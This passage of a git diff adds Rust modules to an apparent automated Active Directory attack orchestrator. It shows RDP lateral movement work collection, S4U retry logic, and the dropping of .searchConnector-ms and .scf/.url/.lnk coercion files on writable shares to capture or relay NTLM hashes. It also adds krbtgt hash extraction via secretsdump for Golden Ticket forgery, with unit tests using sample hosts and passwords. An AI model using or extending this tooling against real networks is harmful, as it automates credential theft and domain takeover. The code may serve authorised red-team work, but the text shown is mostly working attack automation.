"srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local", true)); + // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work[0].dedup_key, "rdp:192.168.58.10"); + } + + #[tokio::test] + async fn collect_cross_domain_hosts() { + let shared = SharedState::new("test-op".into()); + { + let mut s = shared.write().await; + s.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.hosts.push(make_host( + "192.168.58.20", + "srv01.fabrikam.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + s.credentials.push(make_credential( + "admin", + "P@ssw0rd!", // pragma: allowlist secret + "contoso.local", + true, + )); + s.credentials.push(make_credential( + "fadmin", + "F@bPass1!", // pragma: allowlist secret + "fabrikam.local", + true, + )); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 2); + // contoso host uses contoso cred + let contoso_work = work.iter().find(|w| w.host_ip == "192.168.58.10").unwrap(); + assert_eq!(contoso_work.credential.domain, "contoso.local"); + // fabrikam host uses fabrikam cred + let fab_work = work.iter().find(|w| w.host_ip == "192.168.58.20").unwrap(); + assert_eq!(fab_work.credential.domain, "fabrikam.local"); + } + + #[tokio::test] + async fn collect_rdp_work_via_shared_state() { + let shared = crate::orchestrator::state::SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state.hosts.push(make_host( + "192.168.58.10", + "srv01.contoso.local", + vec!["3389/tcp ms-wbt-server".into()], + false, + )); + state.credentials.push(make_credential( + "admin", + "P@ssw0rd!", // pragma: allowlist secret + "contoso.local", + true, + )); + } + let state = shared.read().await; + let work = collect_rdp_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].host_ip, "192.168.58.10"); + } + + #[test] + fn dedup_key_format() { + let key = format!("rdp:{}", "192.168.58.22"); + assert_eq!(key, "rdp:192.168.58.22"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_RDP_LATERAL, "rdp_lateral"); + } + + #[test] + fn rdp_service_detection() { + let services = [ + "3389/tcp ms-wbt-server".to_string(), + "80/tcp http".to_string(), + ]; + let has_rdp = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("3389") || sl.contains("rdp") + }); + assert!(has_rdp); + } + + #[test] + fn no_rdp_service() { + let services = [ + "445/tcp microsoft-ds".to_string(), + "80/tcp http".to_string(), + ]; + let has_rdp = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("3389") || sl.contains("rdp") + }); + assert!(!has_rdp); + } + + #[test] + fn domain_from_hostname() { + let hostname = "srv01.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn domain_from_bare_hostname() { + let hostname = "srv01"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, ""); + } + + #[test] + fn rdp_service_detection_by_name() { + let services = ["remote desktop rdp".to_string()]; + let has_rdp = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("3389") || sl.contains("rdp") + }); + assert!(has_rdp); + } + + #[test] + fn rdp_service_detection_case_insensitive() { + let services = ["3389/TCP MS-WBT-SERVER".to_string()]; + let has_rdp = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("3389") || sl.contains("rdp") + }); + assert!(has_rdp); + } + + #[test] + fn rdp_payload_structure() { + let payload = serde_json::json!({ + "technique": "rdp_lateral", + "target_ip": "192.168.58.22", + "hostname": "srv01.contoso.local", + "domain": "contoso.local", + "credential": { + "username": "admin", + "password": "P@ssw0rd!", + "domain": "contoso.local", + }, + }); + assert_eq!(payload["technique"], "rdp_lateral"); + assert_eq!(payload["target_ip"], "192.168.58.22"); + assert_eq!(payload["hostname"], "srv01.contoso.local"); + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn rdp_work_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: true, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + let work = RdpWork { + dedup_key: "rdp:192.168.58.22".into(), + host_ip: "192.168.58.22".into(), + hostname: "srv01.contoso.local".into(), + domain: "contoso.local".into(), + credential: cred, + }; + assert_eq!(work.host_ip, "192.168.58.22"); + assert_eq!(work.hostname, "srv01.contoso.local"); + assert!(work.credential.is_admin); + } + + #[test] + fn admin_credential_preferred() { + // The module first looks for admin creds, then falls back to any with password + let is_admin = true; + let has_password = true; + let admin_match = is_admin && has_password; + assert!(admin_match); + } + + #[test] + fn empty_services_no_rdp() { + let services: Vec = vec![]; + let has_rdp = services.iter().any(|s| { + let sl = s.to_lowercase(); + sl.contains("3389") || sl.contains("rdp") + }); + assert!(!has_rdp); + } +} diff --git a/ares-cli/src/orchestrator/automation/s4u.rs b/ares-cli/src/orchestrator/automation/s4u.rs index 008d5e17..4d34453c 100644 --- a/ares-cli/src/orchestrator/automation/s4u.rs +++ b/ares-cli/src/orchestrator/automation/s4u.rs @@ -99,15 +99,23 @@ pub async fn auto_s4u_exploitation( // Don't increment failure count beyond what dispatch already counted. // The cooldown timer is already set from dispatch time. } - } else { - // Success or non-revocation error — reset failure count so - // subsequent dispatches aren't permanently blocked by the - // S4U_MAX_FAILURES threshold. + } else if should_reset_failure_count(result) { + // Only reset the failure count on actual success. + // Generic failures (wrong SPN, delegation edge is + // stale, service rejects S4U, etc.) must keep their + // accumulated count so deterministic dead-ends + // eventually stop retrying. if let Some(vid) = task_vuln_map.remove(&tid) { if let Some(entry) = dispatch_tracker.get_mut(&vid) { entry.1 = 0; } } + } else { + // Non-lockout, non-success failure: preserve the + // existing failure count that was incremented on + // dispatch. Remove the task mapping so future result + // scans do not reprocess it. + task_vuln_map.remove(&tid); } } } @@ -362,6 +370,11 @@ fn has_lockout_error(result: &ares_core::models::TaskResult) -> bool { result_matches_patterns(result, LOCKOUT_PATTERNS) } +/// Only a successful S4U task should clear the accumulated failure count. +fn should_reset_failure_count(result: &ares_core::models::TaskResult) -> bool { + result.success +} + #[cfg(test)] mod tests { use super::*; @@ -562,4 +575,28 @@ mod tests { ); assert!(!has_lockout_error(&tr)); } + + #[test] + fn successful_task_resets_failure_count() { + let tr = TaskResult { + task_id: "t-ok".to_string(), + success: true, + result: Some(json!({"summary": "ticket obtained"})), + error: None, + completed_at: Utc::now(), + }; + assert!(should_reset_failure_count(&tr)); + } + + #[test] + fn generic_failure_does_not_reset_failure_count() { + let tr = TaskResult { + task_id: "t-fail".to_string(), + success: false, + result: Some(json!({"summary": "S4U failed: KRB_AP_ERR_MODIFIED"})), + error: None, + completed_at: Utc::now(), + }; + assert!(!should_reset_failure_count(&tr)); + } } diff --git a/ares-cli/src/orchestrator/automation/searchconnector_coercion.rs b/ares-cli/src/orchestrator/automation/searchconnector_coercion.rs new file mode 100644 index 00000000..56cece22 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/searchconnector_coercion.rs @@ -0,0 +1,503 @@ +//! auto_searchconnector_coercion -- drop .searchConnector-ms files on writable shares. +//! +//! .searchConnector-ms XML files trigger WebDAV connections when a user browses +//! the share in Explorer. Unlike .lnk/.scf/.url (handled by auto_share_coercion), +//! searchConnector files force HTTP-based NTLM auth which bypasses SMB signing +//! requirements, enabling relay to LDAP/ADCS even when SMB signing is enforced. +//! +//! This module targets writable shares that auto_share_coercion has already +//! identified, deploying a complementary coercion technique. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect SearchConnector coercion work items from current state. +/// +/// Pure logic extracted from `auto_searchconnector_coercion` so it can be +/// unit-tested without needing a `Dispatcher` or async runtime. +fn collect_searchconnector_work(state: &StateInner, listener: &str) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for share in &state.shares { + if !share.permissions.to_uppercase().contains("WRITE") { + continue; + } + + let dedup_key = format!("searchconn:{}:{}", share.host, share.name); + if state.is_processed(DEDUP_SEARCHCONNECTOR, &dedup_key) { + continue; + } + + // Find credential for the share's host + let host_info = state.hosts.iter().find(|h| h.ip == share.host); + let domain = host_info + .and_then(|h| { + h.hostname + .find('.') + .map(|i| h.hostname[i + 1..].to_lowercase()) + }) + .unwrap_or_default(); + + let cred = state + .credentials + .iter() + .find(|c| !domain.is_empty() && c.domain.to_lowercase() == domain) + .or_else(|| state.credentials.first()) + .cloned(); + + let cred = match cred { + Some(c) => c, + None => continue, + }; + + items.push(SearchConnectorWork { + dedup_key, + share_host: share.host.clone(), + share_name: share.name.clone(), + listener: listener.to_string(), + credential: cred, + }); + } + + items +} + +/// Drops .searchConnector-ms coercion files on writable shares. +/// Interval: 45s. +pub async fn auto_searchconnector_coercion( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("searchconnector_coercion") { + continue; + } + + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, + }; + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_searchconnector_work(&state, &listener) + }; + + for item in work { + let payload = json!({ + "technique": "searchconnector_coercion", + "target_ip": item.share_host, + "share_name": item.share_name, + "listener_ip": item.listener, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("searchconnector_coercion"); + match dispatcher + .throttled_submit("coercion", "coercion", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + host = %item.share_host, + share = %item.share_name, + "searchConnector-ms coercion file dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_SEARCHCONNECTOR, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SEARCHCONNECTOR, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(host = %item.share_host, "searchConnector coercion deferred"); + } + Err(e) => { + warn!(err = %e, host = %item.share_host, "Failed to dispatch searchConnector coercion"); + } + } + } + } +} + +struct SearchConnectorWork { + dedup_key: String, + share_host: String, + share_name: String, + listener: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + use ares_core::models::{Credential, Host, Share}; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + fn make_share(host: &str, name: &str, permissions: &str) -> Share { + Share { + host: host.into(), + name: name.into(), + permissions: permissions.into(), + comment: String::new(), + authenticated_as: None, + } + } + + fn make_host(ip: &str, hostname: &str) -> Host { + Host { + ip: ip.into(), + hostname: hostname.into(), + os: String::new(), + roles: Vec::new(), + services: Vec::new(), + is_dc: false, + owned: false, + } + } + + #[test] + fn dedup_key_format() { + let key = format!("searchconn:{}:{}", "192.168.58.22", "Public"); + assert_eq!(key, "searchconn:192.168.58.22:Public"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_SEARCHCONNECTOR, "searchconnector"); + } + + #[test] + fn writable_share_detection() { + let write_perms = ["WRITE", "READ/WRITE", "rw WRITE access"]; + for p in &write_perms { + assert!( + p.to_uppercase().contains("WRITE"), + "{p} should be detected as writable" + ); + } + } + + #[test] + fn readonly_share_rejected() { + let perm = "READ"; + assert!(!perm.to_uppercase().contains("WRITE")); + } + + #[test] + fn domain_from_host_hostname() { + let hostname = "srv01.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "contoso.local"); + } + + #[test] + fn payload_structure_validation() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let payload = serde_json::json!({ + "technique": "searchconnector_coercion", + "target_ip": "192.168.58.22", + "share_name": "Public", + "listener_ip": "192.168.58.50", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + assert_eq!(payload["technique"], "searchconnector_coercion"); + assert_eq!(payload["target_ip"], "192.168.58.22"); + assert_eq!(payload["share_name"], "Public"); + assert_eq!(payload["listener_ip"], "192.168.58.50"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); // pragma: allowlist secret + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn writable_share_full_permission() { + let perm = "FULL"; + // FULL does not contain WRITE, so it should NOT be detected + assert!(!perm.to_uppercase().contains("WRITE")); + } + + #[test] + fn domain_from_fqdn_with_subdomain() { + let hostname = "web01.sub.contoso.local"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, "sub.contoso.local"); + } + + #[test] + fn domain_from_bare_hostname() { + let hostname = "dc01"; + let domain = hostname + .find('.') + .map(|i| hostname[i + 1..].to_lowercase()) + .unwrap_or_default(); + assert_eq!(domain, ""); + } + + #[test] + fn dedup_key_special_characters_in_share_name() { + let key = format!("searchconn:{}:{}", "192.168.58.10", "Share With Spaces"); + assert_eq!(key, "searchconn:192.168.58.10:Share With Spaces"); + + let key2 = format!("searchconn:{}:{}", "192.168.58.10", "data$"); + assert_eq!(key2, "searchconn:192.168.58.10:data$"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "svc_admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let work = SearchConnectorWork { + dedup_key: "searchconn:192.168.58.22:Public".into(), + share_host: "192.168.58.22".into(), + share_name: "Public".into(), + listener: "192.168.58.50".into(), + credential: cred, + }; + + assert_eq!(work.dedup_key, "searchconn:192.168.58.22:Public"); + assert_eq!(work.share_host, "192.168.58.22"); + assert_eq!(work.share_name, "Public"); + assert_eq!(work.listener, "192.168.58.50"); + assert_eq!(work.credential.username, "svc_admin"); + assert_eq!(work.credential.domain, "contoso.local"); + } + + #[test] + fn case_insensitive_permission_matching() { + let perms = ["write", "Write", "WRITE", "read/Write", "Read/WRITE"]; + for p in &perms { + assert!( + p.to_uppercase().contains("WRITE"), + "{p} should be detected as writable regardless of case" + ); + } + } + + // --- collect_searchconnector_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .shares + .push(make_share("192.168.58.22", "Public", "WRITE")); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_shares_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_writable_share_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Public", "WRITE")); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].share_host, "192.168.58.22"); + assert_eq!(work[0].share_name, "Public"); + assert_eq!(work[0].dedup_key, "searchconn:192.168.58.22:Public"); + assert_eq!(work[0].listener, "192.168.58.50"); + } + + #[test] + fn collect_readonly_share_skipped() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Public", "READ")); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Public", "WRITE")); + state.mark_processed( + DEDUP_SEARCHCONNECTOR, + "searchconn:192.168.58.22:Public".into(), + ); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_prefers_domain_matched_credential() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .hosts + .push(make_host("192.168.58.22", "srv01.contoso.local")); + state + .shares + .push(make_share("192.168.58.22", "Data", "READ/WRITE")); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[test] + fn collect_falls_back_to_first_credential_no_host() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + // No host entry for this share IP, so domain is empty -> falls back to first cred + state + .shares + .push(make_share("192.168.58.22", "Public", "WRITE")); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_multiple_shares_produces_work_for_each() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Public", "WRITE")); + state + .shares + .push(make_share("192.168.58.22", "Data", "READ/WRITE")); + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 2); + let names: Vec<&str> = work.iter().map(|w| w.share_name.as_str()).collect(); + assert!(names.contains(&"Public")); + assert!(names.contains(&"Data")); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .shares + .push(make_share("192.168.58.22", "Public", "WRITE")); + } + let state = shared.read().await; + let work = collect_searchconnector_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].share_host, "192.168.58.22"); + } +} diff --git a/ares-cli/src/orchestrator/automation/secretsdump.rs b/ares-cli/src/orchestrator/automation/secretsdump.rs index 005da2b5..bc8c6288 100644 --- a/ares-cli/src/orchestrator/automation/secretsdump.rs +++ b/ares-cli/src/orchestrator/automation/secretsdump.rs @@ -39,6 +39,38 @@ fn pth_secretsdump_dedup_key(dc_ip: &str, parent_domain: &str) -> String { format!("{}:{}:pth_admin", dc_ip, parent_domain) } +/// Build krbtgt-extraction dedup key. Distinct from the generic PTH key +/// (which is for full domain dumps) so a prior full-dump failure doesn't +/// block the narrower `-just-dc-user krbtgt` attempt against the same DC. +fn krbtgt_extraction_dedup_key(dc_ip: &str, domain: &str) -> String { + format!("{}:{}:krbtgt_extraction", dc_ip, domain.to_lowercase()) +} + +/// Find a usable Administrator NTLM hash for a domain. +fn select_administrator_hash(state: &StateInner, domain: &str) -> Option { + let dom = domain.to_lowercase(); + state + .hashes + .iter() + .find(|h| { + h.username.eq_ignore_ascii_case("administrator") + && h.hash_type.eq_ignore_ascii_case("NTLM") + && h.domain.to_lowercase() == dom + }) + .map(|h| h.hash_value.clone()) +} + +/// True when we already have a krbtgt hash for the domain (so the GT step is +/// unblocked and we don't need to re-run DCSync against the DC). +fn has_krbtgt_hash(state: &StateInner, domain: &str) -> bool { + let dom = domain.to_lowercase(); + state.hashes.iter().any(|h| { + h.username.eq_ignore_ascii_case("krbtgt") + && h.hash_type.eq_ignore_ascii_case("NTLM") + && h.domain.to_lowercase() == dom + }) +} + /// Dispatches secretsdump when admin credentials are detected. /// Interval: 30s. Matches Python `_auto_local_admin_secretsdump`. pub async fn auto_local_admin_secretsdump( @@ -78,13 +110,13 @@ pub async fn auto_local_admin_secretsdump( // Skip delegation accounts — secretsdump will always fail // (non-admin) and wastes auth budget reserved for S4U. .filter(|c| c.is_admin || !state.is_delegation_account(&c.username)) - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + .filter(|c| !state.is_principal_quarantined(&c.username, &c.domain)) .cloned() .collect(); let mut items = Vec::new(); for cred in &creds { - for (dc_domain, dc_ip) in state.domain_controllers.iter() { + for (dc_domain, dc_ip) in state.all_domains_with_dcs().iter() { if is_valid_secretsdump_target(dc_domain, &cred.domain) { let dedup = secretsdump_dedup_key(dc_ip, &cred.domain, &cred.username); if !state.is_processed(DEDUP_SECRETSDUMP, &dedup) { @@ -104,11 +136,11 @@ pub async fn auto_local_admin_secretsdump( { Ok(Some(task_id)) => { info!(task_id = %task_id, dc = %dc_ip, user = %cred.username, "Admin secretsdump dispatched"); - dispatcher - .state - .write() - .await - .mark_processed(DEDUP_SECRETSDUMP, dedup_key.clone()); + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_SECRETSDUMP, dedup_key.clone()); + state.mark_credential_capture_in_flight(&cred.domain); + } let _ = dispatcher .state .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &dedup_key) @@ -135,7 +167,7 @@ pub async fn auto_local_admin_secretsdump( for dominated in &state.dominated_domains { let dom = dominated.to_lowercase(); // Find parent domain DCs: domains where the child ends with ".{parent}" - for (dc_domain, dc_ip) in state.domain_controllers.iter() { + for (dc_domain, dc_ip) in state.all_domains_with_dcs().iter() { if is_child_of(&dom, dc_domain) { // Find Administrator NTLM hash from the dominated child domain if let Some(hash) = state.hashes.iter().find(|h| { @@ -161,7 +193,7 @@ pub async fn auto_local_admin_secretsdump( items }; - for (dedup_key, dc_ip, hash_domain, hash_value, _parent_domain) in + for (dedup_key, dc_ip, hash_domain, hash_value, parent_domain) in hash_work.into_iter().take(2) { let priority = dispatcher.effective_priority("dc_secretsdump"); @@ -172,6 +204,7 @@ pub async fn auto_local_admin_secretsdump( &hash_domain, &hash_value, priority, + None, ) .await { @@ -182,11 +215,11 @@ pub async fn auto_local_admin_secretsdump( hash_domain = %hash_domain, "PTH secretsdump dispatched against parent DC" ); - dispatcher - .state - .write() - .await - .mark_processed(DEDUP_SECRETSDUMP, dedup_key.clone()); + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_SECRETSDUMP, dedup_key.clone()); + state.mark_credential_capture_in_flight(&parent_domain); + } let _ = dispatcher .state .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &dedup_key) @@ -199,6 +232,95 @@ pub async fn auto_local_admin_secretsdump( } } +/// Dispatches a narrowed `secretsdump -just-dc-user krbtgt` whenever we hold +/// an Administrator NTLM hash for a domain but haven't yet captured that +/// domain's krbtgt hash. This closes the gap between "DA captured" and +/// "Golden Ticket forged": `auto_local_admin_secretsdump` only fires the PtH +/// path on child→parent escalation (gated on `dominated_domains`), and the +/// generic credential_access prompt lets the LLM omit `-just-dc-user`, which +/// triggers full-dump DRSUAPI hardening rejections and frequent +/// STATUS_LOGON_FAILURE on cross-realm syntax mistakes. Once krbtgt lands, +/// `auto_golden_ticket` takes over. +/// +/// Priority 1 so it dominates the deferred-queue score ordering — the +/// existing soft/hard throttle caps still apply, but among queued work this +/// step jumps to the front. +pub async fn auto_krbtgt_extraction( + dispatcher: Arc, + mut shutdown: watch::Receiver, +) { + let mut interval = tokio::time::interval(Duration::from_secs(30)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("dc_secretsdump") { + continue; + } + + let work: Vec<(String, String, String, String)> = { + let state = dispatcher.state.read().await; + let mut items = Vec::new(); + for (dc_domain, dc_ip) in state.all_domains_with_dcs().iter() { + let dom = dc_domain.to_lowercase(); + if has_krbtgt_hash(&state, &dom) { + continue; + } + let Some(hash) = select_administrator_hash(&state, &dom) else { + continue; + }; + let dedup = krbtgt_extraction_dedup_key(dc_ip, &dom); + if state.is_processed(DEDUP_SECRETSDUMP, &dedup) { + continue; + } + items.push((dedup, dc_ip.clone(), dom, hash)); + } + items + }; + + for (dedup_key, dc_ip, domain, hash_value) in work.into_iter().take(2) { + match dispatcher + .request_secretsdump_hash( + &dc_ip, + "Administrator", + &domain, + &hash_value, + 1, + Some("krbtgt"), + ) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + dc = %dc_ip, + domain = %domain, + "krbtgt extraction dispatched (just-dc-user krbtgt)" + ); + { + let mut state = dispatcher.state.write().await; + state.mark_processed(DEDUP_SECRETSDUMP, dedup_key.clone()); + state.mark_credential_capture_in_flight(&domain); + } + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_SECRETSDUMP, &dedup_key) + .await; + } + Ok(None) => {} + Err(e) => warn!(err = %e, "Failed to dispatch krbtgt extraction"), + } + } + } +} + #[cfg(test)] mod tests { use super::*; diff --git a/ares-cli/src/orchestrator/automation/shadow_credentials.rs b/ares-cli/src/orchestrator/automation/shadow_credentials.rs index 4d8759ec..c6fb7288 100644 --- a/ares-cli/src/orchestrator/automation/shadow_credentials.rs +++ b/ares-cli/src/orchestrator/automation/shadow_credentials.rs @@ -82,29 +82,14 @@ pub async fn auto_shadow_credentials( .unwrap_or("") .to_string(); - // Find credential for the source user - let credential = state - .credentials - .iter() - .find(|c| { - c.username.to_lowercase() == source_user.to_lowercase() - && (domain.is_empty() - || c.domain.to_lowercase() == domain.to_lowercase()) - }) - .cloned(); - - // Also check for NTLM hash as fallback + // Find credential for the source user. The source user's + // own domain may differ from the vuln's target `domain` + // (cross-forest ACL edges like charlie@contoso → + // ivy@fabrikam), so we cannot domain-restrict the + // lookup against the target. + let credential = state.find_source_credential(&source_user, &domain); let hash = if credential.is_none() { - state - .hashes - .iter() - .find(|h| { - h.username.to_lowercase() == source_user.to_lowercase() - && h.hash_type.to_uppercase() == "NTLM" - && (domain.is_empty() - || h.domain.to_lowercase() == domain.to_lowercase()) - }) - .cloned() + state.find_source_hash(&source_user, &domain) } else { None }; @@ -534,6 +519,10 @@ mod tests { source: String::new(), discovered_at: None, aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, parent_id: None, attack_step: 0, }), diff --git a/ares-cli/src/orchestrator/automation/share_coercion.rs b/ares-cli/src/orchestrator/automation/share_coercion.rs new file mode 100644 index 00000000..ed31f336 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/share_coercion.rs @@ -0,0 +1,516 @@ +//! auto_share_coercion -- drop coercion files (.scf, .url, .lnk) on writable +//! shares to capture NTLMv2 hashes via Responder/ntlmrelayx. +//! +//! When a user browses to a share containing one of these files, Windows +//! automatically connects back to the attacker-controlled listener, leaking the +//! user's NTLMv2 hash. This is a passive credential harvesting technique. +//! +//! Requires: writable shares discovered by share_enum, a listener IP for the +//! UNC path in the coercion file, and Responder running on the listener. + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect share coercion work items from current state. +/// +/// Pure logic extracted from `auto_share_coercion` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. Returns at most 3 items +/// per call to avoid flooding the dispatcher. +fn collect_share_coercion_work(state: &StateInner, listener: &str) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let cred = match state.credentials.first() { + Some(c) => c.clone(), + None => return Vec::new(), + }; + + state + .shares + .iter() + .filter(|s| { + let perms = s.permissions.to_uppercase(); + perms == "WRITE" || perms == "READ/WRITE" || perms.contains("WRITE") + }) + .filter(|s| { + // Skip default admin/system shares + let name_upper = s.name.to_uppercase(); + !matches!( + name_upper.as_str(), + "C$" | "ADMIN$" | "IPC$" | "PRINT$" | "SYSVOL" | "NETLOGON" + ) + }) + .filter(|s| { + let dedup_key = format!("{}:{}", s.host, s.name); + !state.is_processed(DEDUP_WRITABLE_SHARES, &dedup_key) + }) + .map(|s| ShareCoercionWork { + host: s.host.clone(), + share_name: s.name.clone(), + listener: listener.to_string(), + credential: cred.clone(), + }) + .take(3) // limit per cycle to avoid flooding + .collect() +} + +/// Monitors for writable shares and dispatches coercion file drops. +/// Interval: 45s. +pub async fn auto_share_coercion(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("share_coercion") { + continue; + } + + 